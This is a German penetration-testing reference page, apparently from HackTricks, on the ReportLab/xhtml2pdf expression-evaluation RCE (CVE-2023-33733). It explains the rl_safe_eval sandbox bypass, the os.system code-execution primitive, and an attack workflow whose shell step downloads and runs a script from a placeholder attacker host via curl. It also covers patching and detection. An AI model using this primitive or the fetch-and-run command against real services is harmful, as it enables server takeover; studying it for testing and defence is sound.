ReportLab/xhtml2pdf [[[…]]] expression-evaluation RCE (CVE-2023-33733)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Diese Seite dokumentiert eine praktische Sandbox-Escape- und RCE-Primitive in ReportLab’s rl_safe_eval, die von xhtml2pdf und anderen PDF-Generierungs-Pipelines verwendet wird, wenn benutzergesteuerte HTML-Inhalte in PDFs gerendert werden.
CVE-2023-33733 betrifft ReportLab-Versionen bis einschließlich 3.6.12. In bestimmten Attribut-Kontexten (z. B. color) werden Werte, die in triple brackets [[[ … ]]] eingeschlossen sind, serverseitig von rl_safe_eval ausgewertet. Durch das Konstruieren einer Nutzlast, die von einem zugelassenen builtin (pow) zu dessen Python-Funktions-Globals pivotiert, kann ein Angreifer das os-Modul erreichen und Befehle ausführen.
Wesentliche Punkte
- Auslöser: injiziere [[[ … ]]] in ausgewertete Attribute wie innerhalb von Markup, das von ReportLab/xhtml2pdf geparst wird.
- Sandbox: rl_safe_eval ersetzt gefährliche builtins, aber ausgewertete Funktionen offenbaren weiterhin globals.
- Umgehung: Erzeuge eine transiente Klasse Word, um rl_safe_eval Namensprüfungen zu umgehen und den String “globals” zu erreichen, während geblockte dunder-Filter umgangen werden.
- RCE:
getattr(pow, Word('__globals__'))['os'].system('<cmd>') - Stabilität: Gib nach der Ausführung einen gültigen Attributwert zurück (für color z. B. ‘red’).
Wann testen
- Anwendungen, die HTML-zu-PDF-Export anbieten (Profile, Rechnungen, Berichte) und xhtml2pdf/ReportLab in PDF-Metadaten oder HTTP-Response-Kommentaren anzeigen.
- exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
- HTTP-Response für PDF beginnt oft mit einem ReportLab Generator-Kommentar
Wie die Sandbox-Umgehung funktioniert
- rl_safe_eval entfernt oder ersetzt viele builtins (getattr, type, pow, …) und wendet Namensfilter an, die Attribute verbieten, die mit __ beginnen oder in einer Denylist stehen.
- Sichere Funktionen leben jedoch in einem globals-Dictionary, das über func.globals zugänglich ist.
- Verwende type(type(1)), um die echte eingebaute type-Funktion wiederherzustellen (um die ReportLab-Wrapper zu umgehen), und definiere dann eine Word-Klasse, die von str ableitet und ein verändertes Vergleichsverhalten hat, sodass:
- .startswith(‘’) → immer False (um die startswith(‘’) Namensprüfung zu umgehen)
- .eq gibt beim ersten Vergleich False zurück (um Denylist-Mitgliedschaftsprüfungen zu umgehen) und danach True (damit Python getattr funktioniert)
- .hash entspricht hash(str(self))
- Damit gibt getattr(pow, Word(‘globals’)) das globals-Dict der umschlossenen pow-Funktion zurück, das ein importiertes os-Modul enthält. Dann:
['os'].system('<cmd>').
Minimales Exploit-Muster (Attribut-Beispiel) Platziere die Nutzlast in einem ausgewerteten Attribut und stelle sicher, dass sie nach der Ausführung einen gültigen Attributwert zurückgibt, z. B. über boolean und ‘red’.
- Die List-Comprehension-Form erlaubt einen einzigen Ausdruck, den rl_safe_eval akzeptiert.
- Das nachgestellte and ‘red’ liefert eine gültige CSS-Farbe, sodass das Rendering nicht fehlschlägt.
- Ersetze den Befehl nach Bedarf; verwende ping, um die Ausführung mit tcpdump zu verifizieren.
Betriebsablauf
- PDF-Generator identifizieren
- PDF Producer zeigt xhtml2pdf; HTTP-Response enthält ReportLab-Kommentar.
- Finde eine Eingabe, die ins PDF reflektiert wird (z. B. Profil-Bio/-Beschreibung) und löse einen Export aus.
- Verifikation der Ausführung mit leisem ICMP
- Ausführen:
sudo tcpdump -ni <iface> icmp - Nutzlast: …
system('ping <your_ip>')… - Windows sendet oft standardmäßig genau vier Echo-Requests.
- Shell etablieren
- Für Windows ist ein zuverlässiger Two-Stage-Ansatz empfehlenswert, um Quoting-/Encoding-Probleme zu vermeiden:
- Stage 1 (Download):
- Stage 2 (Ausführen):
- Für Linux-Ziele ist ein ähnliches Two-Stage-Verfahren mit curl/wget möglich:
- system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)
Hinweise und Tipps
- Attribut-Kontexte: color ist ein bekannter ausgewerteter Attribut-Kontext; andere Attribute in ReportLab-Markup können ebenfalls Ausdrücke auswerten. Wenn ein Standort sanitisiert ist, probiere andere Orte im PDF-Flow (verschiedene Felder, Tabellenstile, etc.).
- Quoting: Halte Befehle kompakt. Two-Stage-Downloads reduzieren erheblich die Probleme mit Quoting und Escaping.
- Zuverlässigkeit: Wenn Exporte gecached oder in Queues verarbeitet werden, variiere die Nutzlast leicht (z. B. zufälliger Pfad oder Query), um Cache-Treffer zu vermeiden.
Patch-Status (2024–2025) und Erkennung von Backports
- 3.6.13 (27 Apr 2023) schrieb
colors.toColorals AST-walk Parser neu; neuere 4.x-Releases behalten diesen Pfad bei. Das Erzwingen vonrl_settings.toColorCanUseaufrl_safe_evaloderrl_extended_literal_evalreaktiviert den verwundbaren Evaluator selbst in aktuellen Versionen. - Einige Distributionen liefern Backports der Fixes, behalten aber Versionsnummern wie 3.6.12-1+deb12u1; verlasse dich nicht allein auf die semantische Version. Grep
colors.pynachast.parseoder inspizieretoColorzur Laufzeit, um sicherzustellen, dass der AST-basierte Parser verwendet wird (siehe Quick-Check unten). - Schnelle lokale Prüfung, ob der AST-basierte Fix vorhanden ist:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY
Minderungsmaßnahmen und Erkennung
- Aktualisiere ReportLab auf 3.6.13 oder neuer (CVE-2023-33733 behoben). Verfolge auch Sicherheitshinweise in den Distributionspaketen.
- Speise benutzerkontrolliertes HTML/Markup nicht direkt in xhtml2pdf/ReportLab ein, ohne strikte Bereinigung (Sanitization). Entferne/lehne [[[…]]] Evaluationskonstrukte und herstellerspezifische Tags ab, wenn die Eingabe nicht vertrauenswürdig ist.
- Erwäge, die Verwendung von rl_safe_eval für nicht vertrauenswürdige Eingaben vollständig zu deaktivieren oder zu kapseln.
- Überwache verdächtige ausgehende Verbindungen während der PDF-Erstellung (z. B. ICMP/HTTP von App-Servern beim Exportieren von Dokumenten).
References
- PoC und technische Analyse: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (praxisnahe Ausnutzung, Windows two-stage payloads): HTB: University
- NVD-Eintrag (betroffene Versionen): CVE-2023-33733
- xhtml2pdf docs (Markup-/Seitenkonzepte): xhtml2pdf docs
- ReportLab 3.6.13 Release-Notes (AST-Neuschreibung von toColor): What’s New in 3.6.13
- Debian Security Tracker, der zurückportierte Fixes bei unveränderten Minor-Versionen zeigt: Debian tracker CVE-2023-33733
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


